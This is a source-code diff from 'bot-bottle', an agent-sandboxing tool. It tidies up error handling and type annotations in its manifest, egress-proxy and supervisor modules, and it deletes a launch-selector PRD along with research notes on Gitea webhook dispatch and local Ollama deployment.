f"cannot prompt for secret '{name}': no tty available. "
+1 -1
View File
@@ -32,7 +32,7 @@ from __future__ import annotations
import dataclasses
import os
import shlex
from abc import ABC
from abc import ABC, abstractmethod
from dataclasses import dataclass
from pathlib import Path
+4 -4
View File
@@ -78,8 +78,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
"REMOTE_ADDR": self.client_address[0],
"REMOTE_PORT": str(self.client_address[1]),
"REMOTE_USER": "",
"SERVER_NAME": self.server.server_name, # type: ignore
"SERVER_PORT": str(self.server.server_port), # type: ignore
"SERVER_NAME": self.server.server_name,
"SERVER_PORT": str(self.server.server_port),
"SERVER_PROTOCOL": self.request_version,
})
for header, variable in (
@@ -157,8 +157,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
self.end_headers()
self.wfile.write(body)
def log_message(self, format: str, *args: object) -> None: # type: ignore # noqa: A002
sys.stdout.write(format % args + "\n")
def log_message(self, fmt: str, *args: object) -> None:
sys.stdout.write(fmt % args + "\n")
sys.stdout.flush()
+3 -5
View File
@@ -57,6 +57,7 @@ from .manifest_egress import (
EgressConfig,
EgressRoute,
PipelockRoutePolicy,
validate_egress_routes,
)
from .manifest_git import GitEntry, GitUser, parse_git_gate_config
from .manifest_schema import BOTTLE_KEYS
@@ -322,11 +323,8 @@ class Manifest:
return
available = ", ".join(self.agents.keys())
if available:
msg = f"agent '{name}' not defined in bot-bottle.json. Available: {available}"
raise ManifestError(msg)
raise ManifestError(
f"agent '{name}' not defined in bot-bottle.json (manifest is empty)."
)
raise ManifestError(f"agent '{name}' not defined in bot-bottle.json. Available: {available}")
raise ManifestError(f"agent '{name}' not defined in bot-bottle.json (manifest is empty).")
def has_bottle(self, name: str) -> bool:
return name in self.bottles
+3 -12
View File
@@ -114,10 +114,7 @@ class Agent:
bottle = d.get("bottle")
if not isinstance(bottle, str) or not bottle:
raise ManifestError(
f"agent '{name}' must declare a 'bottle' field naming a "
f"defined bottle"
)
raise ManifestError(f"agent '{name}' must declare a 'bottle' field naming a defined bottle")
if bottle not in bottle_names:
available = ", ".join(sorted(bottle_names)) or "(none defined)"
raise ManifestError(
@@ -129,10 +126,7 @@ class Agent:
skills_raw = d.get("skills")
if skills_raw is not None:
if not isinstance(skills_raw, list):
raise ManifestError(
f"agent '{name}' skills must be an array "
f"(was {type(skills_raw).__name__})"
)
raise ManifestError(f"agent '{name}' skills must be an array (was {type(skills_raw).__name__})")
collected: list[str] = []
skills_list = cast(list[object], skills_raw)
for i, skill in enumerate(skills_list):
@@ -150,10 +144,7 @@ class Agent:
elif isinstance(prompt_raw, str):
prompt = prompt_raw
else:
raise ManifestError(
f"agent '{name}' prompt must be a string "
f"(was {type(prompt_raw).__name__})"
)
raise ManifestError(f"agent '{name}' prompt must be a string (was {type(prompt_raw).__name__})")
# git-gate: agents may declare only `git-gate.user` (name/email).
# `git-gate.repos` is bottle-only — it carries credentials and host trust.
+2 -3
View File
@@ -93,7 +93,7 @@ class PipelockRoutePolicy:
raise ManifestError(
f"{label}.ssrf_ip_allowlist[{j}] must be an IP address "
f"or CIDR (was {item!r}): {e}"
) from e
)
ssrf_ip_allowlist.append(item)
return cls(
TlsPassthrough=tls_passthrough_raw,
@@ -214,8 +214,7 @@ class EgressRoute:
collected_roles: list[str] = []
for r in role_list:
if not isinstance(r, str):
msg = f"{label} role items must be strings (got {type(r).__name__})"
raise ManifestError(msg)
raise ManifestError(f"{label} role items must be strings (got {type(r).__name__})")
collected_roles.append(r)
roles = tuple(collected_roles)
else:
+2 -8
View File
@@ -30,18 +30,12 @@ def parse_git_upstream(url: str, label: str) -> tuple[str, str, str, str]:
raise ManifestError(f"{label} must be an ssh:// URL (was {url!r})")
rest = url[len("ssh://"):]
if "@" not in rest:
raise ManifestError(
f"{label} must include a user (e.g. ssh://git@host/path.git); "
f"was {url!r}"
)
raise ManifestError(f"{label} must include a user (e.g. ssh://git@host/path.git); was {url!r}")
user, _, hostpart = rest.partition("@")
if not user:
raise ManifestError(f"{label} user is empty in {url!r}")
if "/" not in hostpart:
raise ManifestError(
f"{label} must include a path (e.g. ssh://git@host/path.git); "
f"was {url!r}"
)
raise ManifestError(f"{label} must include a path (e.g. ssh://git@host/path.git); was {url!r}")
hostport, _, path = hostpart.partition("/")
if not path:
raise ManifestError(f"{label} path is empty in {url!r}")
+5 -5
View File
@@ -54,9 +54,9 @@ def load_bottles_from_dir(bottles_dir: Path) -> dict[str, Bottle]:
try:
fm, _body = parse_frontmatter(path.read_text())
except OSError as e:
raise ManifestError(f"could not read {path}: {e}") from e
raise ManifestError(f"could not read {path}: {e}")
except YamlSubsetError as e:
raise ManifestError(f"{path}: {e}") from e
raise ManifestError(f"{path}: {e}")
validate_bottle_frontmatter_keys(path, fm.keys())
raws[name] = fm
return resolve_bottles(raws)
@@ -66,7 +66,7 @@ def load_agents_from_dir(
agents_dir: Path,
bottle_names: set[str],
*,
source: str, # noqa: F841 — unused, but required by interface
source: str,
) -> dict[str, Agent]:
"""Walk `<agents_dir>/*.md`, parse each as an agent, and return
`{name: Agent}`. The Markdown body becomes the agent's prompt.
@@ -87,9 +87,9 @@ def load_agents_from_dir(
try:
fm, body = parse_frontmatter(path.read_text())
except OSError as e:
raise ManifestError(f"could not read {path}: {e}") from e
raise ManifestError(f"could not read {path}: {e}")
except YamlSubsetError as e:
raise ManifestError(f"{path}: {e}") from e
raise ManifestError(f"{path}: {e}")
validate_agent_frontmatter_keys(path, fm.keys())
# Build the dict Agent.from_dict expects. The body becomes
# prompt; Claude Code passthrough fields stay in fm and get
+3 -3
View File
@@ -60,11 +60,11 @@ def _validate_frontmatter_keys(
) -> None:
from .manifest_util import ManifestError
key_set = set(keys) # type: ignore
unknown = key_set - allowed_keys # type: ignore
key_set = set(keys)
unknown = key_set - allowed_keys
if unknown:
allowed = ", ".join(sorted(allowed_keys))
raise ManifestError(
f"{kind} file {path}: unknown frontmatter key(s) "
f"{sorted(unknown)}; allowed keys are {allowed}." # type: ignore
f"{sorted(unknown)}; allowed keys are {allowed}."
)
+33 -28
View File
@@ -19,9 +19,8 @@ from __future__ import annotations
from dataclasses import dataclass
from pathlib import Path
from typing import cast
from .egress import EgressRoute, egress_routes_for_bottle
from .egress import EGRESS_HOSTNAME, EgressRoute, egress_routes_for_bottle
from .supervise import SUPERVISE_HOSTNAME
from .manifest import Bottle
@@ -260,7 +259,7 @@ def _required_dict(
value = obj.get(key)
if not isinstance(value, dict):
raise _pipelock_render_error(section, key, "a mapping")
return cast(dict[str, object], value)
return value
def _required_bool(obj: dict[str, object], section: str, key: str) -> bool:
@@ -290,12 +289,9 @@ def _required_str_list(
key: str,
) -> list[str]:
value = obj.get(key)
if not isinstance(value, list):
if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
raise _pipelock_render_error(section, key, "a list of strings")
value_list = cast(list[object], value)
if not all(isinstance(v, str) for v in value_list):
raise _pipelock_render_error(section, key, "a list of strings")
return cast(list[str], value)
return value
def _optional_str_list(
@@ -411,42 +407,49 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
lines: list[str] = []
lines.append(f"version: {cfg['version']}")
lines.append(f"mode: {cfg['mode']}")
lines.append(f"enforce: {_bool(cast(bool, cfg['enforce']))}")
lines.append(f"enforce: {_bool(cfg['enforce'])}")
lines.append("")
lines.append("api_allowlist:")
api_allowlist = cast(list[str], cfg["api_allowlist"])
api_allowlist = cfg["api_allowlist"]
assert isinstance(api_allowlist, list)
for h in api_allowlist:
lines.append(f' - "{h}"')
lines.append("")
if "seed_phrase_detection" in cfg:
lines.append("seed_phrase_detection:")
spd = cast(dict[str, object], cfg["seed_phrase_detection"])
lines.append(f" enabled: {_bool(cast(bool, spd['enabled']))}")
spd = cfg["seed_phrase_detection"]
assert isinstance(spd, dict)
lines.append(f" enabled: {_bool(spd['enabled'])}")
lines.append("")
lines.append("forward_proxy:")
fp = cast(dict[str, object], cfg["forward_proxy"])
lines.append(f" enabled: {_bool(cast(bool, fp['enabled']))}")
fp = cfg["forward_proxy"]
assert isinstance(fp, dict)
lines.append(f" enabled: {_bool(fp['enabled'])}")
lines.append("")
lines.append("dlp:")
dlp = cast(dict[str, object], cfg["dlp"])
lines.append(f" include_defaults: {_bool(cast(bool, dlp['include_defaults']))}")
lines.append(f" scan_env: {_bool(cast(bool, dlp['scan_env']))}")
dlp = cfg["dlp"]
assert isinstance(dlp, dict)
lines.append(f" include_defaults: {_bool(dlp['include_defaults'])}")
lines.append(f" scan_env: {_bool(dlp['scan_env'])}")
lines.append("")
lines.append("request_body_scanning:")
rbs = cast(dict[str, object], cfg["request_body_scanning"])
lines.append(f' action: "{cast(str, rbs["action"])}"')
rbs = cfg["request_body_scanning"]
assert isinstance(rbs, dict)
lines.append(f' action: "{rbs["action"]}"')
if "scan_headers" in rbs:
lines.append(f" scan_headers: {_bool(cast(bool, rbs['scan_headers']))}")
lines.append(f" scan_headers: {_bool(rbs['scan_headers'])}")
if "header_mode" in rbs:
lines.append(f' header_mode: "{cast(str, rbs["header_mode"])}"')
lines.append(f' header_mode: "{rbs["header_mode"]}"')
if "tls_interception" in cfg:
lines.append("")
lines.append("tls_interception:")
tls = cast(dict[str, object], cfg["tls_interception"])
lines.append(f" enabled: {_bool(cast(bool, tls['enabled']))}")
lines.append(f' ca_cert: "{cast(str, tls["ca_cert"])}"')
lines.append(f' ca_key: "{cast(str, tls["ca_key"])}"')
passthrough = cast(list[str], tls["passthrough_domains"])
tls = cfg["tls_interception"]
assert isinstance(tls, dict)
lines.append(f" enabled: {_bool(tls['enabled'])}")
lines.append(f' ca_cert: "{tls["ca_cert"]}"')
lines.append(f' ca_key: "{tls["ca_key"]}"')
passthrough = tls["passthrough_domains"]
assert isinstance(passthrough, list)
if passthrough:
lines.append(" passthrough_domains:")
for d in passthrough:
@@ -454,9 +457,11 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
if "ssrf" in cfg:
lines.append("")
lines.append("ssrf:")
ssrf = cast(dict[str, object], cfg["ssrf"])
ssrf = cfg["ssrf"]
assert isinstance(ssrf, dict)
lines.append(" ip_allowlist:")
ip_allowlist = cast(list[str], ssrf["ip_allowlist"])
ip_allowlist = ssrf["ip_allowlist"]
assert isinstance(ip_allowlist, list)
for ip in ip_allowlist:
lines.append(f' - "{ip}"')
return "\n".join(lines) + "\n"
+6 -6
View File
@@ -138,7 +138,7 @@ def _pump(name: str, stream: IO[bytes]) -> None:
sys.stdout.flush()
def _spawn(spec: _DaemonSpec) -> subprocess.Popen[bytes]:
def _spawn(spec: _DaemonSpec) -> subprocess.Popen:
proc = subprocess.Popen(
list(spec.argv),
stdout=subprocess.PIPE,
@@ -158,7 +158,7 @@ class _Supervisor:
def __init__(self, specs: Sequence[_DaemonSpec]):
self.specs = tuple(specs)
self.procs: list[tuple[_DaemonSpec, subprocess.Popen[bytes]]] = []
self.procs: list[tuple[_DaemonSpec, subprocess.Popen]] = []
self.shutdown_at: float | None = None
# Names of children that have been logged as having exited
# so we only log each death once across watch-loop ticks.
@@ -360,20 +360,20 @@ def main(argv: Sequence[str] | None = None) -> int:
sup = _Supervisor(specs)
sup.start_all()
signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM")) # type: ignore
signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT")) # type: ignore
signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM"))
signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT"))
# SIGHUP reload path: egress_apply.py runs `docker kill
# --signal HUP <bundle>` after writing routes.yaml. The kernel
# delivers SIGHUP to PID 1 (this supervisor); forward it to
# mitmdump so it reloads its addon.
signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress")) # type: ignore
signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress"))
# SIGUSR1 pipelock-restart path: pipelock_apply.py runs
# `docker kill --signal USR1 <bundle>` after writing
# pipelock.yaml. Pipelock has no in-process reload, so the
# supervisor restarts the pipelock daemon in place (other
# daemons keep running — specifically supervise, whose MCP
# socket would drop on a whole-container `docker restart`).
signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock")) # type: ignore
signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock"))
while not sup.tick():
time.sleep(_POLL_INTERVAL)
+5 -5
View File
@@ -40,7 +40,7 @@ import json
import os
import time
import uuid
from abc import ABC
from abc import ABC, abstractmethod
from dataclasses import dataclass
from datetime import datetime, timezone
from pathlib import Path
@@ -519,22 +519,22 @@ def _atomic_write(path: Path, content: str, *, mode: int) -> None:
try:
import fcntl as _fcntl
def _try_flock(fd: int) -> None: # type: ignore[reportRedeclaration]
def _try_flock(fd: int) -> None:
try:
_fcntl.flock(fd, _fcntl.LOCK_EX)
except OSError:
pass
def _try_funlock(fd: int) -> None: # type: ignore[reportRedeclaration]
def _try_funlock(fd: int) -> None:
try:
_fcntl.flock(fd, _fcntl.LOCK_UN)
except OSError:
pass
except ImportError: # pragma: no cover — Windows path
def _try_flock(fd: int) -> None: # noqa: F841 — Windows fallback
def _try_flock(fd: int) -> None:
return None
def _try_funlock(fd: int) -> None: # noqa: F841 — Windows fallback
def _try_funlock(fd: int) -> None:
return None
+4 -7
View File
@@ -159,10 +159,7 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
"properties": {
"host": {
"type": "string",
"description": (
"The hostname to allow (e.g. 'api.github.com'). "
"Case-insensitive on match."
),
"description": "The hostname to allow (e.g. 'api.github.com'). Case-insensitive on match.",
},
"path_allowlist": {
"type": "array",
@@ -485,7 +482,7 @@ def handle_tools_call(
if not isinstance(name, str):
raise _RpcError(ERR_INVALID_PARAMS, "tools/call missing 'name'")
if name == _sv.TOOL_LIST_EGRESS_ROUTES:
return handle_list_egress_routes(typing.cast(dict[str, object], params.get("arguments", {})), config)
return handle_list_egress_routes(params.get("arguments", {}), config)
args_raw = params.get("arguments", {})
if not isinstance(args_raw, dict):
@@ -590,7 +587,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
server_version = f"{SERVER_NAME}/{SERVER_VERSION}"
def log_message(self, format: str, *args: typing.Any) -> None: # noqa: A002
def log_message(self, format: str, *args: typing.Any) -> None:
if os.environ.get("SUPERVISE_DEBUG"):
super().log_message(format, *args)
@@ -630,7 +627,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
except _RpcError as e:
self._write_jsonrpc(jsonrpc_error(req.id, e.code, e.message))
return
except Exception as e: # noqa: W0718 — catch-all for RPC dispatch errors
except Exception as e: # pragma: no cover — defensive
sys.stderr.write(f"supervise: internal error: {e}\n")
self._write_jsonrpc(jsonrpc_error(req.id, ERR_INTERNAL, "internal error"))
return
+2 -9
View File
@@ -13,15 +13,8 @@ DEFAULT_WORKSPACE_MODE = "755"
class WorkspaceSpec(Protocol):
@property
def copy_cwd(self) -> bool:
"""Whether to copy the current working directory."""
...
@property
def user_cwd(self) -> str:
"""The user's current working directory."""
...
copy_cwd: bool
user_cwd: str
@dataclass(frozen=True)
+2 -4
View File
@@ -58,7 +58,6 @@ from __future__ import annotations
import re
from dataclasses import dataclass
from typing import cast
class YamlSubsetError(ValueError):
@@ -284,7 +283,7 @@ def _split_flow(body: str, lineno: int, kind: str) -> list[str]:
depth_c = 0
in_single = False
in_double = False
cur: list[str] = []
cur = []
for ch in body:
if ch == "'" and not in_double:
in_single = not in_single
@@ -331,7 +330,6 @@ def _split_key_value(content: str, lineno: int) -> tuple[str, str]:
if i + 1 >= len(content) or content[i + 1] in (" ", "\t"):
return content[:i].strip(), content[i + 1:].lstrip()
die(f"yaml-subset: line {lineno} missing `: ` separator: {content!r}")
return "", "" # unreachable, but needed for type checker
def _parse_block(
@@ -538,7 +536,7 @@ def parse_yaml_subset(text: str) -> dict[str, object]:
)
if not isinstance(value, dict):
die("yaml-subset: top-level value must be a mapping")
return cast(dict[str, object], value)
return value
def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
-157
View File
@@ -1,157 +0,0 @@
# PRD 0051: Launch selector
- **Status:** Active
- **Author:** claude
- **Created:** 2026-06-04
- **Issue:** #185
## Summary
When `./cli.py start` is run without an agent name, or without a backend
explicitly specified, the user currently gets an argparse error (missing
positional) or falls through to the `docker` default silently. This PRD
adds a terminal UI that appears in those gaps: a filter-select screen
built with `curses` that lets the operator pick the agent and/or backend
interactively rather than memorising names or consulting `./cli.py list`.
## Problem
With the dashboard removed (PRD 0049), starting an agent from memory is
the only path. The operator must know the exact agent name and type it
as a positional argument. For infrequent users or large manifests this
is friction. A picker that appears automatically when the name is absent
closes the gap with minimal ceremony.
The same logic applies to backends: the operator rarely wants to specify
`--backend` explicitly, but when they do they need to know the set of
registered names. A picker on an empty `--backend` makes the choice
visible.
## Goals / Success Criteria
1. `./cli.py start` (no arguments) shows an interactive agent selector;
the selected name is used exactly as if it had been passed on the
command line.
2. `./cli.py start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
shows an interactive backend selector; the selected backend is used
exactly as if `--backend=<selected>` had been passed.
3. `./cli.py start <name> --backend=<b>` (both explicit) shows neither
screen — no behavioural change from today.
4. `./cli.py start` (no arguments, no env backend) shows the agent
selector first, then the backend selector.
5. The filter-select widget is a standalone utility
(`bot_bottle/cli/tui.py`) shared by both selectors.
6. Pressing `Ctrl-C` or `q` in either selector exits cleanly (exit 0).
7. The widget supports incremental filtering: typing narrows the list;
`Backspace` removes the last character; `↑`/`↓`/`j`/`k` move the
cursor; `Enter` confirms; `Esc`/`q` cancels.
8. Unit tests cover: filtering logic, cursor movement, confirm, cancel,
and the `cmd_start` dispatch (agent-absent, backend-absent,
both-explicit, both-absent).
## Non-goals
- The TUI is not a general-purpose picker exposed as a public API;
it is an internal CLI utility.
- No mouse support.
- No pagination beyond what fits in the terminal window (scroll via
cursor movement is sufficient for typical agent counts).
- No multi-select; exactly one item is chosen per invocation.
- No changes to `./cli.py resume`, `./cli.py list`, or any other
subcommand.
## Design
### `bot_bottle/cli/tui.py``filter_select`
```python
def filter_select(
items: list[str],
*,
title: str = "",
tty_path: str = "/dev/tty",
) -> str | None:
"""Render a filter-select picker over the items list.
Returns the selected item string, or None if the user cancelled
(Esc / q / Ctrl-C / Ctrl-D).
Opens /dev/tty directly so the picker works even when stdout/stdin
are redirected — same pattern as `read_tty_line`.
"""
```
The widget renders to the tty file descriptor opened via `curses.initscr`
(or `curses.newterm` on the tty fd so stdout remains clean for callers
that pipe `./cli.py`).
Layout (full-width, minimal):
```
Select agent (title, top line)
Filter: <query>_ (filter line)
─────────────────────────────
> researcher
implementer
codex-researcher
...
─────────────────────────────
[↑↓/jk] move [Enter] select [Esc/q] cancel
```
- Lines below the filter are the filtered items; the cursor (`>`) marks
the selection.
- The list re-renders on every keypress.
- Terminal resize is not handled (SIGWINCH); if the window is too small
the picker exits with None.
### Changes to `cmd_start`
`name` changes from a required positional to an optional one
(`nargs="?"`). The post-parse block checks:
```python
agent_name = args.name
if agent_name is None:
manifest = Manifest.resolve(USER_CWD)
agent_name = tui.filter_select(
sorted(manifest.agents.keys()),
title="Select agent",
)
if agent_name is None:
return 0 # user cancelled
backend_name = args.backend
if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
backend_name = tui.filter_select(
list(known_backend_names()),
title="Select backend",
)
if backend_name is None:
return 0 # user cancelled
```
The `manifest` object is resolved before the backend selection so the
agent picker can populate itself from the real manifest. The same
`manifest` is passed to `BottleSpec`; it is not resolved a second time.
### `/dev/tty` isolation
`filter_select` opens `/dev/tty` and feeds it as the input file to
`curses.wrapper`-equivalent code (using `curses.newterm` to avoid
clobbering the caller's stdout/stderr). This keeps the picker
composable — callers can pipe `./cli.py` output without the curses
draw sequences contaminating the pipe.
## Implementation chunks
1. **`tui.py` + tests.** Add `bot_bottle/cli/tui.py` with
`filter_select` and unit tests in `tests/unit/test_cli_tui.py`.
2. **Wire into `cmd_start` + tests.** Make `name` optional, add the
two-gate dispatch, extend `tests/unit/test_cli_start_selector.py`.
3. **Activate PRD 0051.** Flip Status Draft → Active in the same commit
that lands the implementation.
## Open questions
None. Scope is fully determined by the issue description.
@@ -1,151 +0,0 @@
# Gitea Webhook Agent Dispatch
## Question
How should bot-bottle spawn and manage agents in response to Gitea PR events — and how do we reuse the same agent (with its full session context) across every event in a PR's lifecycle?
## Summary
A lightweight webhook receiver maps Gitea PR events to `cli.py` invocations. Spawning is straightforward: the existing work on non-interactive run mode (see [host-dispatch-to-container-agents.md](host-dispatch-to-container-agents.md)) is the missing piece. Session continuity is harder: it requires tracking two identifiers per open PR — the **bottle identity** (bot-bottle's slug for the container state dir) and the **Claude session ID** (the UUID Claude writes to its JSONL transcript). The transcript snapshot mechanism already used by capability-block is the right foundation; it just needs a non-interactive path and a PR-keyed store.
## Gitea Webhook Events for PR Lifecycle
Gitea fires `X-Gitea-Event: pull_request` (with an `action` field) for most PR state changes. The payload always includes `pull_request.number`, which is the stable key for correlating events to a running agent.
| `X-Gitea-Event` value | Relevant `action` values | When it fires |
|---|---|---|
| `pull_request` | `opened`, `reopened`, `closed`, `synchronized` | PR created, closed, or pushed to |
| `pull_request_comment` | `created`, `edited` | Timeline comment posted |
| `pull_request_review_approved` | — | Review submitted with approval |
| `pull_request_review_rejected` | — | Review submitted requesting changes |
| `pull_request_review_comment` | — | Inline code review comment |
| `pull_request_sync` | — | New commits pushed to the PR branch |
`pull_request` with `action: synchronized` and `pull_request_sync` both fire on push; they carry the same information but are separate subscriptions in the webhook config UI. Subscribe to `pull_request` and `pull_request_review` (the umbrella) plus `pull_request_comment` to cover the full lifecycle.
The webhook receiver validates the `X-Gitea-Signature-256` HMAC header (SHA-256 of the raw body, keyed by the configured secret) before dispatching.
## Spawning an Agent From a Webhook
### What we need from bot-bottle
The current `cli.py start` is interactive — it prompts y/N and attaches a tty. A webhook handler needs a non-interactive mode that:
1. Starts the container for a named agent.
2. Runs `claude -p "<task>" --output-format json --dangerously-skip-permissions` inside it (no tty, no session picker).
3. Captures stdout as JSON, extracts `session_id`.
4. Blocks until Claude exits, then tears down.
The [host-dispatch-to-container-agents](host-dispatch-to-container-agents.md) research proposes `cli.py run <agent> <task>` for exactly this. That command is the prerequisite for everything below. It should return the Claude JSON output so callers can extract `session_id`.
### Webhook receiver sketch
The receiver is a small HTTP service (Flask, FastAPI, or a Go net/http handler) running alongside bot-bottle on the host. It:
1. Validates the HMAC signature.
2. Extracts `pull_request.number` and `X-Gitea-Event` / `action`.
3. Looks up whether a bottle already exists for this PR number.
4. Spawns or resumes accordingly (see next section).
5. Optionally posts a comment back to the PR via Gitea API once Claude finishes.
The receiver does not need to be async or queue-based for a single-repo bot, but should at minimum serialize events for the same PR number (a per-PR lock) to avoid two concurrent sessions clobbering each other's transcript.
## Reusing the Same Agent Across a PR
This is the harder problem. Two separate identities need to be tracked and connected:
### Identity 1: bottle identity (bot-bottle slug)
The slug is the per-bottle state directory name (`~/.bot-bottle/state/<slug>/`). It's what `cli.py resume <slug>` uses to relaunch a container and mount the preserved state — including the transcript snapshot. This already works for the capability-block flow.
### Identity 2: Claude session ID
Claude Code's `--output-format json` response includes a `session_id` UUID. Passing `--resume <session_id>` on a subsequent non-interactive run makes Claude continue from exactly that conversation, with full memory of prior tool calls. `--continue` (which maps to `resume_args` in `agent_provider.py`) only picks up the *most recent* session in the project directory — unsafe when multiple sessions may be running concurrently.
The session JSONL lives at `~/.claude/projects/<encoded-cwd>/<session_id>.jsonl` inside the container guest. The transcript snapshot (`snapshot_transcript(slug)` in `capability_apply.py`) copies all of `~/.claude` out of the container before teardown, so the JSONL is preserved in `~/.bot-bottle/state/<slug>/transcript/.claude/`. When the bottle is relaunched and the transcript remounted, `claude --resume <session_id>` can find the JSONL at the right path.
### Per-PR session registry
The receiver needs a small persistent map:
```
PR number → { bottle_identity: str, claude_session_id: str, agent_name: str }
```
The simplest implementation is a JSON file at `~/.bot-bottle/pr-sessions.json`, written after each successful first-run and updated with each resume. A sqlite database is better if concurrent multi-repo support is needed.
### Full lifecycle flow
```
PR opened
→ webhook: action=opened
→ no entry in pr-sessions.json
→ cli.py run <agent> "Review PR #N: <title>\n<diff URL>"
→ starts container, runs claude -p ... --output-format json
→ on success: captures session_id from JSON output
→ snapshot_transcript(slug)
→ tears down container
→ write pr-sessions.json: { pr: N, slug: <slug>, session_id: <uuid> }
PR gets new commit
→ webhook: action=synchronized OR pull_request_sync
→ look up pr-sessions.json: found slug + session_id
→ cli.py run-resume <slug> --claude-session <session_id> "New commits pushed. Review the diff."
→ relaunches container with transcript snapshot mounted
→ runs claude -p ... --resume <session_id> --output-format json
→ captures new session_id (same or rotated)
→ snapshot_transcript(slug) again
→ update pr-sessions.json with latest session_id
Comment @-mentions bot
→ webhook: pull_request_comment, action=created
→ extract comment body, check for bot mention
→ same resume flow as above with comment as the prompt
PR closed / merged
→ webhook: action=closed
→ cli.py cleanup <slug> (or equivalent)
→ remove from pr-sessions.json
```
### What needs to be built
| Piece | Status | Notes |
|---|---|---|
| `cli.py run <agent> <task>` | Missing | Non-interactive start; see host-dispatch research |
| `cli.py run-resume <slug> --claude-session <id> <task>` | Missing | Like `resume` but non-interactive, passes `--resume <id>` to claude |
| `snapshot_transcript` on clean exit | Exists (PRD 0012) | Already called from `start.py`'s session-end path |
| Transcript remount on resume | Exists | `bottle_state.py::transcript_snapshot_dir` → docker cp in on launch |
| PR session registry | Missing | Needs to be designed; `~/.bot-bottle/pr-sessions.json` is the simplest start |
| Webhook receiver service | Missing | New service; needs to be a declared bottle or run as a host process |
## Known Rough Edges
**Session ID is not available from within the session.** The ID is only in the `--output-format json` result, readable after the process exits. There is no env var or hook that exposes it mid-session ([upstream issue #44607](https://github.com/anthropics/claude-code/issues/44607)). For the webhook bot this is fine — the outer receiver reads it from the subprocess result.
**`--continue` vs `--resume <id>`:** The existing `resume_args = ("--continue",)` in `agent_provider.py` picks up the *most recent* session. For an interactive single-user resume this is fine. For a webhook bot that may have multiple open PRs, it is not safe — two PRs' transcripts would collide if they share a project directory encoding. Use `--resume <session_id>` explicitly.
**Project directory encoding.** Claude stores sessions keyed by the absolute cwd, encoded as a path. Inside the container the cwd is always `/home/node` or a subdir. As long as every run for the same PR uses the same cwd, `--resume <session_id>` will find the right JSONL. The cwd should be pinned per PR entry in the session registry.
**Concurrent events for the same PR.** If two webhooks arrive close together (e.g., push + CI comment), the receiver must serialize them. A per-PR asyncio lock or a simple file lock on the session registry entry is enough.
**Context window growth.** Each resume appends to the same session. A PR with many round trips will eventually hit the context limit. Mitigation options: start a fresh Claude session (new `cli.py run`) periodically and carry forward a summary; or rely on Claude's built-in compaction. The session registry could include a turn count to trigger rotation.
**Webhook delivery ordering.** Gitea does not guarantee ordered delivery or exactly-once delivery. The receiver should be idempotent (same PR event processed twice should not create two bottles) and should ignore events for closed PRs.
## Relationship to Existing Bot-Bottle Infrastructure
The transcript snapshot + bottle identity system (PRD 0012, `capability_apply.py`) was designed for the capability-block flow: an operator-triggered resume after a security event. The webhook flow is the same mechanism on a faster loop driven by Gitea events instead of operator action. The implementation delta is:
1. Non-interactive run mode (the `cli.py run` gap already identified in host-dispatch research).
2. Passing `--resume <session_id>` explicitly rather than `--continue`.
3. A PR-keyed registry to connect PR numbers to bottle identities and session IDs.
4. A webhook receiver to drive the loop.
These are additive changes that sit on top of the existing transcript preservation machinery without altering it.
## Recommendation
Start with the non-interactive run mode (`cli.py run`) since everything else depends on it. Once that exists, the webhook receiver and session registry are straightforward glue. The receiver should run as a host process (not inside a bottle) since it needs to call `cli.py` and manage the session registry file. Serialize per-PR to avoid concurrency bugs. Use `--resume <session_id>` (not `--continue`) for all resume paths.
The PR session registry is deliberately minimal to start — a JSON file is fine. If multi-repo or multi-agent scenarios appear, migrating to sqlite is a one-file change.
@@ -1,278 +0,0 @@
# Local Ollama: Deployment Topology, Harness Selection, and Model Sizing
Research notes on running Ollama locally for a bot-bottle coding agent workflow.
Covers the native-vs-VM question, which harness integrates best with an agent loop,
and which models make sense on an RTX 3070 (8 GB VRAM / 30 GB RAM) machine.
---
## 1. Deployment topology: native, container, or VM?
The core question is whether running Ollama in a VM significantly degrades inference
performance. The short answer: a full KVM/QEMU VM with GPU passthrough adds roughly
25% overhead, Docker on Linux adds roughly 12%, and LXC containers add sub-1%. None
of these are significant for interactive coding use.
### Native (bare metal)
Zero overhead, immediate GPU access, simplest setup. The right default for a solo
developer doing inference on their own workstation.
### Docker containers on Linux + NVIDIA
With `nvidia-container-toolkit` and `--gpus all`, containerized Ollama runs at
essentially native speed (~12% overhead on Linux). The dramatic exception is macOS,
where Docker Desktop runs a Linux VM with no access to Apple's Metal/GPU — inference
is 56× slower. On Linux/Windows with NVIDIA hardware, Docker is fine.
Common pitfall: if `docker exec ollama ollama ps` shows 0 GPU layers, the container
fell back to CPU. Usual causes: stale VRAM allocation, missing `nvidia-container-toolkit`,
or a host driver too old for the container's CUDA version.
### KVM/QEMU VM with full PCIe passthrough
Full GPU passthrough makes the GPU invisible to the host while the VM owns it. Overhead
from the IOMMU translation layer and virtualized PCIe bus is ~25%. This is viable if
you need VM-level isolation (snapshotting, migration, separate kernel). Setup complexity
is non-trivial: BIOS IOMMU, IOMMU group management, VFIO driver binding. Once configured
it is stable.
**Critical gotcha:** set the VM's CPU type to `host`. If left at the default
(`x86-64-v2-AES` / "QEMU Virtual CPU version 2.5+"), Ollama may silently disable GPU
support even when drivers appear correct.
### LXC containers (Proxmox et al.)
The sweet spot for isolation without overhead. Sub-1% performance difference from bare
metal because LXC shares the host kernel; GPU device files are bind-mounted into the
container. The tradeoff is weaker isolation (shared kernel) and the requirement that
